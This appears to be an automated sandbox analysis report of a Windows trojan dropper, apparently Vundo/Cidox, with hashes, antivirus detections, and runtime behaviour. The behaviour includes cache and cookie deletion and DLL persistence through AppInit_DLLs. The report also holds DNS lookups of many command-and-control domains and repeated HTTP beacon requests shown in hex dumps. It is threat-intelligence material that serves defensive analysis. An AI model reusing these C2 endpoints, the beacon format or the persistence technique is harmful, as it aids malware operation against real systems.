Analysis Date2014-10-11 05:00:21
MD5e6c1d6c4d3df5229340ff9182fa05693
SHA1e2b353f695125c10eeffd2aa54be6c13caa23abd

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 3f36e5823baced117fd4b24828b16061 sha1: 439524806ec140a181397ed58d63f80354976a2f size: 27136
Section.rdata md5: 79ac83855c000c112f5a2d1c1a5539b5 sha1: a31ca541daa056d06f86bd634afcf131dfff3359 size: 7168
Section.data md5: dc2677aa59e9637addbee24781200afa sha1: 955cb42e232656cd3e9105276a5f38f64a45320e size: 5120
Section.rsrc md5: 64b46e21e331f8ca0a374800a457c62e sha1: 1e68189d1e6fb237ca689d7092e3fde169160d72 size: 138752
Timestamp2012-11-27 08:54:16
PackerMicrosoft Visual C++ ?.?
PEhash6f4555e3fc85af53ec3a7e04fcfdf75b575a4534
IMPhashea86032a51b0146b271876151ed6bd9e
AV360 SafeGen:Variant.Symmi.6801
AVAd-AwareGen:Variant.Symmi.6801
AVAlwil (avast)Crypt-OXO [Trj]
AVArcabit (arcavir)no_virus
AVAuthentiumW32/Cidox.A.gen!Eldorado
AVAvira (antivir)TR/Drop.Vundo.voua
AVBullGuardGen:Variant.Symmi.6801
AVCA (E-Trust Ino)no_virus
AVCAT (quickheal)Trojan.Vundo.Gen
AVClamAVno_virus
AVDr. WebTrojan.Inject1.14568
AVEmsisoftGen:Variant.Symmi.6801
AVEset (nod32)Win32/Kryptik.APMA
AVFortinetW32/Kryptik.FAGX!tr
AVFrisk (f-prot)W32/Cidox.A.gen!Eldorado
AVF-SecureGen:Variant.Symmi.6801
AVGrisoft (avg)Downloader.Generic13.SOH
AVIkarusTrojan-Dropper.Win32.Vundo
AVK7Riskware ( 0040eff71 )
AVKasperskyTrojan.Win32.Generic
AVMalwareBytesTrojan.Inject
AVMcafeeno_virus
AVMicrosoft Security EssentialsTrojanDropper:Win32/Vundo.V
AVMicroWorld (escan)Gen:Variant.Symmi.6801
AVNormanwinpe/Vundo.DCLY
AVRisingno_virus
AVSophosno_virus
AVSymantecTrojan.Gen.2
AVTrend MicroTROJ_VUNDO.SMKK
AVVirusBlokAda (vba32)Backdoor.Cidox
AVYara APTno_virus
AVZillya!no_virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\My Documents\Iterra\0105.tmp
Creates FileC:\Documents and Settings\Administrator\My Documents\Iterra\T03emp03.reg
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Cookies\index.dat

Process
↳ C:\WINDOWS\Explorer.EXE

RegistryHKEY_CURRENT_USER\SessionInformation\ProgramCount ➝
NULL
Creates FileC:\WINDOWS\system32\xakxvuh.dll
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Cookies\cf
Deletes FileC:\Documents and Settings\Administrator\My Documents\Iterra\0105.tmp
Deletes FileC:\Documents and Settings\Administrator\My Documents\Iterra\T03emp03.reg
Creates ProcessC:\WINDOWS\regedit.exe /s C:\Documents and Settings\Administrator\My Documents\Iterra\T03emp03.reg
Winsock DNSdetoxist.com
Winsock DNSclickbeta.ru
Winsock DNS91.220.35.154
Winsock DNSveroconma.com
Winsock DNSterrans.su
Winsock DNSgetinball.com
Winsock DNStheloamva.com
Winsock DNStryatdns.com
Winsock DNSclickclans.ru
Winsock DNSgauldneza.com
Winsock DNSdentagod.com
Winsock DNSdenareclick.com
Winsock DNSdebijonda.com
Winsock DNSfescheck.com
Winsock DNSliteworns.com
Winsock DNSgetintsu.com
Winsock DNSnshouse1.com
Winsock DNSvengibit.com
Winsock DNStryangets.com
Winsock DNSnetrovad.com
Winsock DNSvornedix.com
Winsock DNSinzavora.com
Winsock DNSgetavodes.com
Winsock DNSclickstano.com

Process
↳ C:\WINDOWS\regedit.exe /s C:\Documents and Settings\Administrator\My Documents\Iterra\T03emp03.reg

RegistryHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs ➝
C:\WINDOWS\system32\xakxvuh.dll\\x00

Network Details:

DNSdetoxist.com
Type: A
141.8.225.80
DNSdebijonda.com
Type: A
141.8.225.80
DNSveroconma.com
Type: A
74.117.179.241
DNStheloamva.com
Type: A
141.8.225.80
DNSvornedix.com
Type: A
141.8.225.80
DNSdentagod.com
Type: A
141.8.225.80
DNSliteworns.com
Type: A
141.8.225.80
DNSvengibit.com
Type: A
141.8.225.80
DNStryangets.com
Type: A
141.8.225.80
DNSgetintsu.com
Type: A
141.8.225.80
DNSgetavodes.com
Type: A
141.8.225.80
DNStryatdns.com
Type: A
141.8.225.80
DNSfescheck.com
Type: A
141.8.225.80
DNSinzavora.com
Type: A
141.8.225.80
DNSgauldneza.com
Type: A
DNSgetinball.com
Type: A
DNSnetrovad.com
Type: A
DNSterrans.su
Type: A
DNSclickstano.com
Type: A
DNSdenareclick.com
Type: A
DNSclickbeta.ru
Type: A
DNSnshouse1.com
Type: A
DNSclickclans.ru
Type: A
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64m6jHXsXzvOe
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64i39xzVXkAz8
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64oCaIlI/LIyi
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64oCaIlI/LIyi
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64oRPxwB278jV
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64oRPxwB278jV
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64j3Hj8BO7ukP
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64pZQ5vUW2eeP
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64pZQ5vUW2eeP
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64pZQ5vUW2eeP
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64iehbCclkFuK
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64gE5GMZiYjkW
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64qjHt27QI98n
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64pZQ5vUW2eeP
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=2256&av=0&vm=0&al=0&p=39&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg2Fm+vsYkr5k1hR4aImVv4tJjDjjcCZ64qrCdpfIjhle
User-Agent:
Flows TCP192.168.1.1:1031 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1032 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1033 ➝ 74.117.179.241:80
Flows TCP192.168.1.1:1034 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1035 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1036 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1037 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1038 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1039 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1040 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1041 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1042 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1043 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1044 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1045 ➝ 91.220.35.154:80

Raw Pcap
0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   36346d36 6a485873 587a764f 65204854   64m6jHXsXzvOe HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   36346933 39787a56 586b417a 38204854   64i39xzVXkAz8 HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   36346f43 61496c49 2f4c4979 69204854   64oCaIlI/LIyi HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   36346f43 61496c49 2f4c4979 69204854   64oCaIlI/LIyi HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   36346f52 50787742 3237386a 56204854   64oRPxwB278jV HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   36346f52 50787742 3237386a 56204854   64oRPxwB278jV HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   36346a33 486a3842 4f37756b 50204854   64j3Hj8BO7ukP HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   3634705a 51357655 57326565 50204854   64pZQ5vUW2eeP HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   3634705a 51357655 57326565 50204854   64pZQ5vUW2eeP HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   3634705a 51357655 57326565 50204854   64pZQ5vUW2eeP HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   36346965 68624363 6c6b4675 4b204854   64iehbCclkFuK HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   36346745 35474d5a 69596a6b 57204854   64gE5GMZiYjkW HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
